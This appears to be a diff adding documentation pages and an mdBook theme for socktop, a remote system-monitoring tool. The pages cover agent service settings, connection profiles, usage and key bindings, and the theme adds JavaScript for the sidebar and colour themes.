[Service]
|
||||
Environment=SOCKTOP_TOKEN=changeme
|
||||
Environment=SOCKTOP_AGENT_GPU=0
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart socktop-agent
|
||||
```
|
||||
|
||||
To change the port or enable TLS, override `ExecStart` (it must be cleared first in a drop-in):
|
||||
|
||||
```ini
|
||||
[Service]
|
||||
ExecStart=
|
||||
ExecStart=/usr/bin/socktop_agent --enableSSL --port 8443
|
||||
```
|
||||
|
||||
See [Agent Service Setup](../installation/agent-service.md) for the full service walkthrough.
|
||||
@@ -0,0 +1,146 @@
|
||||
# Connection Profiles
|
||||
|
||||
Connection profiles allow you to save frequently used agent connections for quick access.
|
||||
|
||||
## What are Connection Profiles?
|
||||
|
||||
Instead of typing the full WebSocket URL every time:
|
||||
|
||||
```bash
|
||||
socktop ws://production-server.example.com:3000/ws
|
||||
```
|
||||
|
||||
You can save it as a profile and use:
|
||||
|
||||
```bash
|
||||
socktop -P production
|
||||
```
|
||||
|
||||
## Profile Configuration File
|
||||
|
||||
Profiles are stored in `~/.config/socktop/profiles.json` (or `$XDG_CONFIG_HOME/socktop/profiles.json`).
|
||||
|
||||
### Basic Profile Format
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"production": {
|
||||
"url": "ws://production-server:3000/ws"
|
||||
},
|
||||
"dev": {
|
||||
"url": "ws://dev-server:3000/ws"
|
||||
},
|
||||
"rpi": {
|
||||
"url": "ws://192.168.1.100:3000/ws"
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
### Profile with Authentication
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"secure-server": {
|
||||
"url": "wss://secure.example.com:3000/ws?token=your-secret-token-here"
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
**Note:** Tokens are passed as query parameters in the URL.
|
||||
|
||||
### Profile with TLS Configuration
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"tls-server": {
|
||||
"url": "wss://tls-server.example.com:8443/ws",
|
||||
"tls_ca": "/path/to/cert.pem"
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
### Profile with All Options
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"full-config": {
|
||||
"url": "wss://example.com:8443/ws?token=secret-token",
|
||||
"tls_ca": "/etc/socktop/cert.pem",
|
||||
"metrics_interval_ms": 750,
|
||||
"processes_interval_ms": 3000
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
**Note:** Custom intervals are optional. Values below 100ms (metrics) or 200ms (processes) are clamped.
|
||||
|
||||
## Creating Profiles
|
||||
|
||||
### Method 1: Manual Creation
|
||||
|
||||
Create or edit the profiles file:
|
||||
|
||||
```bash
|
||||
mkdir -p ~/.config/socktop
|
||||
nano ~/.config/socktop/profiles.json
|
||||
```
|
||||
|
||||
Add your profiles:
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"homelab": {
|
||||
"url": "ws://192.168.1.50:3000/ws"
|
||||
},
|
||||
"cloud-server": {
|
||||
"url": "wss://cloud.example.com:8443/ws?token=abc123xyz",
|
||||
"tls_ca": "/home/user/.config/socktop/cloud-cert.pem"
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
### Method 2: Automatic Profile Creation
|
||||
|
||||
When you specify a new `--profile/-P` name with a URL (and optional `--tls-ca`), it's saved automatically:
|
||||
|
||||
```bash
|
||||
# First connection creates and saves the profile
|
||||
socktop --profile prod ws://prod-host:3000/ws
|
||||
|
||||
# With TLS pinning
|
||||
socktop --profile prod-tls --tls-ca /path/to/cert.pem wss://prod-host:8443/ws
|
||||
|
||||
# With custom intervals
|
||||
socktop --profile fast --metrics-interval-ms 250 --processes-interval-ms 1000 ws://host:3000/ws
|
||||
```
|
||||
|
||||
To overwrite an existing profile without prompt, use `--save`:
|
||||
|
||||
```bash
|
||||
socktop --profile prod --save ws://new-host:3000/ws
|
||||
```
|
||||
|
||||
## Using Profiles
|
||||
|
||||
### Basic Usage
|
||||
|
||||
```bash
|
||||
# Use a saved profile
|
||||
socktop -P production
|
||||
socktop --profile homelab
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
# General Usage
|
||||
|
||||
## Starting socktop
|
||||
|
||||
### Demo Mode
|
||||
|
||||
Try socktop without any setup:
|
||||
|
||||
```bash
|
||||
# Launch demo mode
|
||||
socktop --demo
|
||||
```
|
||||
|
||||
Starts a temporary local agent on port 3231, connects to it, and monitors your local system. The agent stops when you quit (you'll see "Stopped demo agent on port 3231"). Demo mode needs the `socktop_agent` binary on your `PATH`; if it's missing, socktop explains how to install it.
|
||||
|
||||
### Interactive Mode
|
||||
|
||||
Run `socktop` with no arguments to see an interactive profile menu (if you have saved profiles):
|
||||
|
||||
```
|
||||
Select profile:
|
||||
1. prod
|
||||
2. dev-server
|
||||
3. demo
|
||||
Enter number (or blank to abort):
|
||||
```
|
||||
|
||||
Select a number to connect, or choose `demo` (always available). Press Enter on blank to abort.
|
||||
|
||||
### Monitor a Remote System
|
||||
|
||||
Connect to a remote agent by specifying the WebSocket URL (note the `/ws` path):
|
||||
|
||||
```bash
|
||||
socktop ws://hostname:3000/ws
|
||||
socktop ws://192.168.1.100:3000/ws
|
||||
socktop --tls-ca /path/to/cert.pem wss://secure-host:8443/ws # With TLS
|
||||
```
|
||||
|
||||
### Using Connection Profiles
|
||||
|
||||
For frequently monitored systems, use profiles:
|
||||
|
||||
```bash
|
||||
# Use a saved profile
|
||||
socktop -P production-server
|
||||
socktop --profile rpi-cluster-01
|
||||
```
|
||||
|
||||
Running `socktop` with no arguments lists your saved profiles interactively. See [Connection Profiles](./connection-profiles.md).
|
||||
|
||||
## Finding Processes
|
||||
|
||||
Press `/` to enter filter mode:
|
||||
|
||||
```
|
||||
Filter: pyth_
|
||||
```
|
||||
|
||||
This shows only processes matching "pyth" (fuzzy, case-insensitive). Press `Esc` to cancel or `Enter` to apply; `c` clears an applied filter.
|
||||
|
||||
Select a process with `↑/↓` and press `Enter` to open the details view (command line, working directory, per-thread CPU, journal entries, and more).
|
||||
|
||||
## Killing a Process
|
||||
|
||||
With a process selected in the list (or from inside Process Details), press `t` to terminate it. A confirmation dialog offers two actions, btop-style:
|
||||
|
||||
- **Terminate** - sends SIGTERM, letting the process shut down cleanly
|
||||
- **Force kill** - sends SIGKILL
|
||||
|
||||
Things to know:
|
||||
|
||||
- **Local agents only.** The signal is sent by the socktop client itself, with its own privileges — it is never sent over the wire. When you're connected to a remote agent, the option doesn't appear, and an agent can never be instructed to kill anything remotely.
|
||||
- **Your privileges apply.** You can only kill processes your user could kill from the shell.
|
||||
- **PID-reuse guard.** If the PID has been recycled to a different process between confirmation and signal time, nothing is sent.
|
||||
- Killed rows leave the list once the process actually exits.
|
||||
- Requires agent and client **1.60 or newer together** on the machine where you use it — older agents keep reporting dead processes, so killed rows would linger on screen.
|
||||
|
||||
## Compact Layout
|
||||
|
||||
On small terminal windows, socktop automatically switches to a compact layout: the Disks pane is dropped, Memory/Swap sit side by side, and GPU collapses to a single line — keeping the CPU graph and per-core bars visible. Pass `--compact` to pin this layout regardless of window size.
|
||||
|
||||
## Command Line Options
|
||||
|
||||
```
|
||||
socktop [--tls-ca CERT_PEM|-t CERT_PEM] [--verify-hostname] [--profile NAME|-P NAME]
|
||||
[--save] [--demo] [--compact] [--metrics-interval-ms N]
|
||||
[--processes-interval-ms N] [ws://HOST:PORT/ws]
|
||||
```
|
||||
|
||||
See [Configuration](./configuration.md) for the full option reference, and [Keyboard and Mouse Controls](./keyboard-mouse.md) for all key bindings.
|
||||
|
||||
### Examples
|
||||
|
||||
```bash
|
||||
# Connect with custom intervals
|
||||
socktop --metrics-interval-ms 750 --processes-interval-ms 3000 ws://server:3000/ws
|
||||
|
||||
# Connect with an authentication token (query parameter, quoted)
|
||||
socktop "ws://server:3000/ws?token=mySecretToken"
|
||||
|
||||
# Connect with TLS, pinning the agent's certificate
|
||||
socktop --tls-ca /path/to/cert.pem wss://server:8443/ws
|
||||
|
||||
# Connect with TLS and strict hostname verification
|
||||
socktop --tls-ca /path/to/cert.pem --verify-hostname wss://server:8443/ws
|
||||
|
||||
# Pin the compact layout
|
||||
socktop --compact -P rpi-cluster-01
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
# Keyboard and Mouse Controls
|
||||
|
||||
## Keyboard
|
||||
|
||||
### Global
|
||||
- Quit: `q` or `Esc`
|
||||
- About: `a`
|
||||
- Help: `h`
|
||||
|
||||
### Processes
|
||||
- `/` - Start fuzzy search
|
||||
- `c` - Clear search filter
|
||||
- `↑/↓` - Navigate
|
||||
- `Enter` - Open details
|
||||
- `t` - Terminate selected process (local agents only; opens a Terminate / Force kill confirmation — see [Killing a Process](./general.md#killing-a-process))
|
||||
- `x` - Clear selection
|
||||
|
||||
### Search (after /)
|
||||
- Type - Enter query (fuzzy match)
|
||||
- `↑/↓` - Navigate results
|
||||
- `Esc` - Cancel
|
||||
- `Enter` - Apply filter
|
||||
|
||||
### CPU Per-Core
|
||||
- `←/→` - Scroll cores
|
||||
- `PgUp/PgDn` - Page up/down
|
||||
- `Home/End` - Jump to first/last
|
||||
|
||||
### Process Details
|
||||
- `x` - Close
|
||||
- `p` - Navigate to parent
|
||||
- `t` - Terminate this process (local agents only)
|
||||
- `j/k` - Scroll threads ↓/↑
|
||||
- `d/u` - Scroll threads (10 lines)
|
||||
- `[` / `]` - Scroll journal
|
||||
- `Esc/Enter` - Close
|
||||
|
||||
### Modal Navigation
|
||||
- `Tab/→` - Next button
|
||||
- `Shift+Tab/←` - Previous button
|
||||
- `Enter` - Confirm
|
||||
- `Esc` - Cancel
|
||||
|
||||
## Mouse (Processes pane)
|
||||
|
||||
- Click "CPU %" to sort by CPU descending
|
||||
- Click "Mem" to sort by memory descending
|
||||
- Mouse wheel: scroll
|
||||
- Drag scrollbar: scroll
|
||||
- Arrow/PageUp/PageDown/Home/End: scroll
|
||||
Vendored
+226
@@ -0,0 +1,226 @@
|
||||
// Replace default mdBook themes with Catppuccin themes
|
||||
(function () {
|
||||
"use strict";
|
||||
|
||||
// Wait for DOM to be ready
|
||||
if (document.readyState === "loading") {
|
||||
document.addEventListener("DOMContentLoaded", init);
|
||||
} else {
|
||||
init();
|
||||
}
|
||||
|
||||
function init() {
|
||||
addSidebarLogo();
|
||||
replaceThemeList();
|
||||
setupGhosttyStyleSidebar();
|
||||
|
||||
// Watch for sidebar changes and re-run setup
|
||||
const sidebarScrollbox = document.querySelector(".sidebar-scrollbox");
|
||||
if (sidebarScrollbox) {
|
||||
const observer = new MutationObserver(() => {
|
||||
// Wait a bit for mdBook to finish updating
|
||||
setTimeout(setupGhosttyStyleSidebar, 50);
|
||||
});
|
||||
observer.observe(sidebarScrollbox, {
|
||||
childList: true,
|
||||
subtree: true,
|
||||
});
|
||||
}
|
||||
|
||||
// Also re-run on page navigation
|
||||
window.addEventListener("hashchange", () => {
|
||||
setTimeout(setupGhosttyStyleSidebar, 100);
|
||||
});
|
||||
}
|
||||
|
||||
function addSidebarLogo() {
|
||||
const scrollbox = document.querySelector(".sidebar-scrollbox");
|
||||
if (!scrollbox) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if logo already exists
|
||||
if (document.querySelector(".sidebar-logo")) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Create logo container
|
||||
const logoContainer = document.createElement("div");
|
||||
logoContainer.className = "sidebar-logo";
|
||||
|
||||
// Create clickable link wrapper
|
||||
const logoLink = document.createElement("a");
|
||||
logoLink.href = "https://socktop.io";
|
||||
logoLink.style.display = "block";
|
||||
logoLink.style.textAlign = "center";
|
||||
|
||||
// Create logo image
|
||||
const logoImg = document.createElement("img");
|
||||
// Use root-relative path that works from any page depth
|
||||
logoImg.src = window.location.pathname.includes("/assets/docs/")
|
||||
? "/assets/docs/logo.png"
|
||||
: "logo.png";
|
||||
logoImg.alt = "socktop";
|
||||
logoImg.style.display = "inline-block";
|
||||
logoImg.style.maxWidth = "80%";
|
||||
|
||||
logoLink.appendChild(logoImg);
|
||||
logoContainer.appendChild(logoLink);
|
||||
|
||||
// Insert as the very first child inside the scrollbox
|
||||
scrollbox.insertBefore(logoContainer, scrollbox.firstChild);
|
||||
}
|
||||
|
||||
function replaceThemeList() {
|
||||
const themeList = document.getElementById("mdbook-theme-list");
|
||||
if (!themeList) {
|
||||
console.warn("Theme list not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Clear existing themes
|
||||
themeList.innerHTML = "";
|
||||
|
||||
// Catppuccin themes
|
||||
const catppuccinThemes = [
|
||||
{ id: "latte", name: "Latte" },
|
||||
{ id: "frappe", name: "Frappé" },
|
||||
{ id: "macchiato", name: "Macchiato" },
|
||||
{ id: "mocha", name: "Mocha" },
|
||||
];
|
||||
|
||||
// Add Catppuccin themes
|
||||
catppuccinThemes.forEach((theme) => {
|
||||
const li = document.createElement("li");
|
||||
li.setAttribute("role", "none");
|
||||
|
||||
const button = document.createElement("button");
|
||||
button.setAttribute("role", "menuitem");
|
||||
button.className = "theme";
|
||||
button.id = "mdbook-theme-" + theme.id;
|
||||
button.textContent = theme.name;
|
||||
|
||||
li.appendChild(button);
|
||||
themeList.appendChild(li);
|
||||
});
|
||||
}
|
||||
|
||||
function setupGhosttyStyleSidebar() {
|
||||
// Hide mdBook's default fold toggles
|
||||
const defaultToggles = document.querySelectorAll(".chapter-fold-toggle");
|
||||
defaultToggles.forEach((toggle) => {
|
||||
toggle.style.display = "none";
|
||||
});
|
||||
|
||||
// Get current page path to determine active item
|
||||
const currentPath = window.location.pathname;
|
||||
|
||||
// Find all chapter items
|
||||
const allChapterItems = document.querySelectorAll(
|
||||
"ol.chapter > li.chapter-item",
|
||||
);
|
||||
|
||||
allChapterItems.forEach((li) => {
|
||||
// Check if this item has a nested section list
|
||||
const nestedList = li.querySelector("ol.section");
|
||||
|
||||
// Skip if no nested list (like Introduction)
|
||||
if (!nestedList) {
|
||||
return;
|
||||
}
|
||||
|
||||
const linkWrapper = li.querySelector("span.chapter-link-wrapper");
|
||||
const link = linkWrapper ? linkWrapper.querySelector("a") : null;
|
||||
|
||||
if (!linkWrapper) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if any child link matches current page
|
||||
let hasActivePage = false;
|
||||
const childLinks = nestedList.querySelectorAll("a");
|
||||
childLinks.forEach((childLink) => {
|
||||
const href = childLink.getAttribute("href");
|
||||
if (
|
||||
href &&
|
||||
currentPath.includes(href.replace("../", "").replace("./", ""))
|
||||
) {
|
||||
childLink.closest("li.chapter-item").classList.add("active");
|
||||
hasActivePage = true;
|
||||
}
|
||||
});
|
||||
|
||||
// Skip if we already added a chevron - just update state
|
||||
const existingChevron = linkWrapper.querySelector(".chapter-chevron");
|
||||
if (existingChevron) {
|
||||
if (hasActivePage) {
|
||||
nestedList.style.display = "block";
|
||||
li.classList.add("expanded");
|
||||
li.classList.remove("collapsed");
|
||||
existingChevron.style.transform = "rotate(90deg)";
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Create custom chevron
|
||||
const chevron = document.createElement("span");
|
||||
chevron.className = "chapter-chevron";
|
||||
chevron.textContent = "›";
|
||||
chevron.style.cssText =
|
||||
"float: right; transition: transform 0.2s ease; display: inline-block; opacity: 0.6; font-size: 1.2em; line-height: 1; user-select: none; cursor: pointer;";
|
||||
|
||||
// Insert chevron into the link wrapper
|
||||
linkWrapper.appendChild(chevron);
|
||||
|
||||
// Start expanded if it contains the active page, collapsed otherwise
|
||||
if (hasActivePage) {
|
||||
nestedList.style.display = "block";
|
||||
li.classList.add("expanded");
|
||||
li.classList.remove("collapsed");
|
||||
chevron.style.transform = "rotate(90deg)";
|
||||
} else {
|
||||
nestedList.style.display = "none";
|
||||
li.classList.add("collapsed");
|
||||
li.classList.remove("expanded");
|
||||
chevron.style.transform = "rotate(0deg)";
|
||||
}
|
||||
|
||||
// Add click handler to toggle
|
||||
const toggleSection = function (e) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
|
||||
const isCollapsed = li.classList.contains("collapsed");
|
||||
|
||||
if (isCollapsed) {
|
||||
// Expand
|
||||
nestedList.style.display = "block";
|
||||
li.classList.remove("collapsed");
|
||||
li.classList.add("expanded");
|
||||
chevron.style.transform = "rotate(90deg)";
|
||||
} else {
|
||||
// Collapse
|
||||
nestedList.style.display = "none";
|
||||
li.classList.add("collapsed");
|
||||
li.classList.remove("expanded");
|
||||
chevron.style.transform = "rotate(0deg)";
|
||||
}
|
||||
};
|
||||
|
||||
// Click on chevron toggles
|
||||
chevron.addEventListener("click", toggleSection);
|
||||
|
||||
// Click on parent link also toggles if it's a dummy link
|
||||
if (link) {
|
||||
const href = link.getAttribute("href");
|
||||
if (!href || href === "" || href === "#") {
|
||||
link.addEventListener("click", toggleSection);
|
||||
link.style.cursor = "pointer";
|
||||
}
|
||||
} else {
|
||||
linkWrapper.addEventListener("click", toggleSection);
|
||||
linkWrapper.style.cursor = "pointer";
|
||||
}
|
||||
});
|
||||
}
|
||||
})();
|
||||
Vendored
+1102
File diff suppressed because it is too large
Load Diff
Vendored
+6
@@ -0,0 +1,6 @@
|
||||
<!-- Umami Analytics -->
|
||||
<script
|
||||
defer
|
||||
src="https://unami.wittyoneoff.com/script.js"
|
||||
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
|
||||
></script>
|
||||
Vendored
+365
@@ -0,0 +1,365 @@
|
||||
<!DOCTYPE HTML>
|
||||
<html lang="{{ language }}" class="{{ default_theme }} sidebar-visible" dir="{{ text_direction }}">
|
||||
<head>
|
||||
<!-- Book generated using mdBook -->
|
||||
<meta charset="UTF-8">
|
||||
<title>{{ title }}</title>
|
||||
{{#if is_print }}
|
||||
<meta name="robots" content="noindex">
|
||||
{{/if}}
|
||||
{{#if base_url}}
|
||||
<base href="{{ base_url }}">
|
||||
{{/if}}
|
||||
|
||||
|
||||
<!-- Custom HTML head -->
|
||||
{{> head}}
|
||||
|
||||
<meta name="description" content="{{ description }}">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="theme-color" content="#ffffff">
|
||||
|
||||
{{#if favicon_svg}}
|
||||
<link rel="icon" href="{{ resource "favicon.svg" }}">
|
||||
{{/if}}
|
||||
{{#if favicon_png}}
|
||||
<link rel="shortcut icon" href="{{ resource "favicon.png" }}">
|
||||
{{/if}}
|
||||
<link rel="stylesheet" href="{{ resource "css/variables.css" }}">
|
||||
<link rel="stylesheet" href="{{ resource "css/general.css" }}">
|
||||
<link rel="stylesheet" href="{{ resource "css/chrome.css" }}">
|
||||
{{#if print_enable}}
|
||||
<link rel="stylesheet" href="{{ resource "css/print.css" }}" media="print">
|
||||
{{/if}}
|
||||
|
||||
<!-- Fonts -->
|
||||
<link rel="stylesheet" href="{{ resource "fonts/fonts.css" }}">
|
||||
|
||||
<!-- Highlight.js Stylesheets -->
|
||||
<link rel="stylesheet" id="mdbook-highlight-css" href="{{ resource "highlight.css" }}">
|
||||
<link rel="stylesheet" id="mdbook-tomorrow-night-css" href="{{ resource "tomorrow-night.css" }}">
|
||||
<link rel="stylesheet" id="mdbook-ayu-highlight-css" href="{{ resource "ayu-highlight.css" }}">
|
||||
|
||||
<!-- Custom theme stylesheets -->
|
||||
{{#each additional_css}}
|
||||
<link rel="stylesheet" href="{{ resource this }}">
|
||||
{{/each}}
|
||||
|
||||
{{#if mathjax_support}}
|
||||
<!-- MathJax -->
|
||||
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
|
||||
{{/if}}
|
||||
|
||||
<!-- Provide site root and default themes to javascript -->
|
||||
<script>
|
||||
const path_to_root = "{{ path_to_root }}";
|
||||
const default_light_theme = "{{ default_theme }}";
|
||||
const default_dark_theme = "{{ preferred_dark_theme }}";
|
||||
{{#if search_js}}
|
||||
window.path_to_searchindex_js = "{{ resource "searchindex.js" }}";
|
||||
{{/if}}
|
||||
</script>
|
||||
<!-- Start loading toc.js asap -->
|
||||
<script src="{{ resource "toc.js" }}"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="mdbook-help-container">
|
||||
<div id="mdbook-help-popup">
|
||||
<h2 class="mdbook-help-title">Keyboard shortcuts</h2>
|
||||
<div>
|
||||
<p>Press <kbd>←</kbd> or <kbd>→</kbd> to navigate between chapters</p>
|
||||
{{#if search_enabled}}
|
||||
<p>Press <kbd>S</kbd> or <kbd>/</kbd> to search in the book</p>
|
||||
{{/if}}
|
||||
<p>Press <kbd>?</kbd> to show this help</p>
|
||||
<p>Press <kbd>Esc</kbd> to hide this help</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="mdbook-body-container">
|
||||
<!-- Work around some values being stored in localStorage wrapped in quotes -->
|
||||
<script>
|
||||
try {
|
||||
let theme = localStorage.getItem('mdbook-theme');
|
||||
let sidebar = localStorage.getItem('mdbook-sidebar');
|
||||
|
||||
if (theme.startsWith('"') && theme.endsWith('"')) {
|
||||
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
|
||||
}
|
||||
|
||||
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
|
||||
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
|
||||
}
|
||||
} catch (e) { }
|
||||
</script>
|
||||
|
||||
<!-- Set the theme before any content is loaded, prevents flash -->
|
||||
<script>
|
||||
const default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? default_dark_theme : default_light_theme;
|
||||
let theme;
|
||||
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
|
||||
if (theme === null || theme === undefined) { theme = default_theme; }
|
||||
const html = document.documentElement;
|
||||
html.classList.remove('{{ default_theme }}')
|
||||
html.classList.add(theme);
|
||||
html.classList.add("js");
|
||||
</script>
|
||||
|
||||
<input type="checkbox" id="mdbook-sidebar-toggle-anchor" class="hidden">
|
||||
|
||||
<!-- Hide / unhide sidebar before it is displayed -->
|
||||
<script>
|
||||
let sidebar = null;
|
||||
const sidebar_toggle = document.getElementById("mdbook-sidebar-toggle-anchor");
|
||||
if (document.body.clientWidth >= 1080) {
|
||||
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
|
||||
sidebar = sidebar || 'visible';
|
||||
} else {
|
||||
sidebar = 'hidden';
|
||||
sidebar_toggle.checked = false;
|
||||
}
|
||||
if (sidebar === 'visible') {
|
||||
sidebar_toggle.checked = true;
|
||||
} else {
|
||||
html.classList.remove('sidebar-visible');
|
||||
}
|
||||
</script>
|
||||
|
||||
<nav id="mdbook-sidebar" class="sidebar" aria-label="Table of contents">
|
||||
<!-- populated by js -->
|
||||
<mdbook-sidebar-scrollbox class="sidebar-scrollbox"></mdbook-sidebar-scrollbox>
|
||||
<noscript>
|
||||
<iframe class="sidebar-iframe-outer" src="{{ path_to_root }}toc.html"></iframe>
|
||||
</noscript>
|
||||
<div id="mdbook-sidebar-resize-handle" class="sidebar-resize-handle">
|
||||
<div class="sidebar-resize-indicator"></div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div id="mdbook-page-wrapper" class="page-wrapper">
|
||||
|
||||
<div class="page">
|
||||
{{> header}}
|
||||
<div id="mdbook-menu-bar-hover-placeholder"></div>
|
||||
<div id="mdbook-menu-bar" class="menu-bar sticky">
|
||||
<div class="left-buttons">
|
||||
<label id="mdbook-sidebar-toggle" class="icon-button" for="mdbook-sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="mdbook-sidebar">
|
||||
{{fa "solid" "bars"}}
|
||||
</label>
|
||||
<button id="mdbook-theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="mdbook-theme-list">
|
||||
{{fa "solid" "paintbrush"}}
|
||||
</button>
|
||||
<ul id="mdbook-theme-list" class="theme-popup" aria-label="Themes" role="menu">
|
||||
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-latte">Latte</button></li>
|
||||
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-frappe">Frappé</button></li>
|
||||
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-macchiato">Macchiato</button></li>
|
||||
<li role="none"><button role="menuitem" class="theme" id="mdbook-theme-mocha">Mocha</button></li>
|
||||
</ul>
|
||||
{{#if search_enabled}}
|
||||
<button id="mdbook-search-toggle" class="icon-button" type="button" title="Search (`/`)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="/ s" aria-controls="mdbook-searchbar">
|
||||
{{fa "solid" "magnifying-glass"}}
|
||||
</button>
|
||||
{{/if}}
|
||||
</div>
|
||||
|
||||
<h1 class="menu-title">{{ book_title }}</h1>
|
||||
|
||||
<div class="right-buttons">
|
||||
{{#if print_enable}}
|
||||
<a href="{{ path_to_root }}print.html" title="Print this book" aria-label="Print this book">
|
||||
{{fa "solid" "print" "print-button"}}
|
||||
</a>
|
||||
{{/if}}
|
||||
{{#if git_repository_url}}
|
||||
<a href="{{git_repository_url}}" title="Git repository" aria-label="Git repository">
|
||||
{{fa git_repository_icon_class git_repository_icon}}
|
||||
</a>
|
||||
{{/if}}
|
||||
{{#if git_repository_edit_url}}
|
||||
<a href="{{git_repository_edit_url}}" title="Suggest an edit" aria-label="Suggest an edit" rel="edit">
|
||||
{{fa "solid" "pencil" "git-edit-button"}}
|
||||
</a>
|
||||
{{/if}}
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{{#if search_enabled}}
|
||||
<div id="mdbook-search-wrapper" class="hidden">
|
||||
<form id="mdbook-searchbar-outer" class="searchbar-outer">
|
||||
<div class="search-wrapper">
|
||||
<input type="search" id="mdbook-searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="mdbook-searchresults-outer" aria-describedby="searchresults-header">
|
||||
<div class="spinner-wrapper">
|
||||
{{fa "solid" "spinner" "fa-spin"}}
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div id="mdbook-searchresults-outer" class="searchresults-outer hidden">
|
||||
<div id="mdbook-searchresults-header" class="searchresults-header"></div>
|
||||
<ul id="mdbook-searchresults">
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
{{/if}}
|
||||
|
||||
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
|
||||
<script>
|
||||
document.getElementById('mdbook-sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
|
||||
document.getElementById('mdbook-sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
|
||||
Array.from(document.querySelectorAll('#mdbook-sidebar a')).forEach(function(link) {
|
||||
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
|
||||
});
|
||||
</script>
|
||||
|
||||
<div id="mdbook-content" class="content">
|
||||
<main>
|
||||
{{{ content }}}
|
||||
</main>
|
||||
|
||||
<nav class="nav-wrapper" aria-label="Page navigation">
|
||||
<!-- Mobile navigation buttons -->
|
||||
{{#if previous}}
|
||||
<a rel="prev" href="{{ path_to_root }}{{previous.link}}" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||||
{{#if (eq ../text_direction "rtl")}}
|
||||
{{fa "solid" "angle-right"}}
|
||||
{{else}}
|
||||
{{fa "solid" "angle-left"}}
|
||||
{{/if}}
|
||||
</a>
|
||||
{{/if}}
|
||||
|
||||
{{#if next}}
|
||||
<a rel="next prefetch" href="{{ path_to_root }}{{next.link}}" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||||
{{#if (eq ../text_direction "rtl")}}
|
||||
{{fa "solid" "angle-left"}}
|
||||
{{else}}
|
||||
{{fa "solid" "angle-right"}}
|
||||
{{/if}}
|
||||
</a>
|
||||
{{/if}}
|
||||
|
||||
<div style="clear: both"></div>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<nav class="nav-wide-wrapper" aria-label="Page navigation">
|
||||
{{#if previous}}
|
||||
<a rel="prev" href="{{ path_to_root }}{{previous.link}}" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||||
{{#if (eq ../text_direction "rtl")}}
|
||||
{{fa "solid" "angle-right"}}
|
||||
{{else}}
|
||||
{{fa "solid" "angle-left"}}
|
||||
{{/if}}
|
||||
</a>
|
||||
{{/if}}
|
||||
|
||||
{{#if next}}
|
||||
<a rel="next prefetch" href="{{ path_to_root }}{{next.link}}" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||||
{{#if (eq text_direction "rtl")}}
|
||||
{{fa "solid" "angle-left"}}
|
||||
{{else}}
|
||||
{{fa "solid" "angle-right"}}
|
||||
{{/if}}
|
||||
</a>
|
||||
{{/if}}
|
||||
</nav>
|
||||
|
||||
</div>
|
||||
|
||||
<template id=fa-eye>{{fa "solid" "eye"}}</template>
|
||||
<template id=fa-eye-slash>{{fa "solid" "eye-slash"}}</template>
|
||||
<template id=fa-copy>{{fa "regular" "copy"}}</template>
|
||||
<template id=fa-play>{{fa "solid" "play"}}</template>
|
||||
<template id=fa-clock-rotate-left>{{fa "solid" "clock-rotate-left"}}</template>
|
||||
|
||||
{{#if live_reload_endpoint}}
|
||||
<!-- Livereload script (if served using the cli tool) -->
|
||||
<script>
|
||||
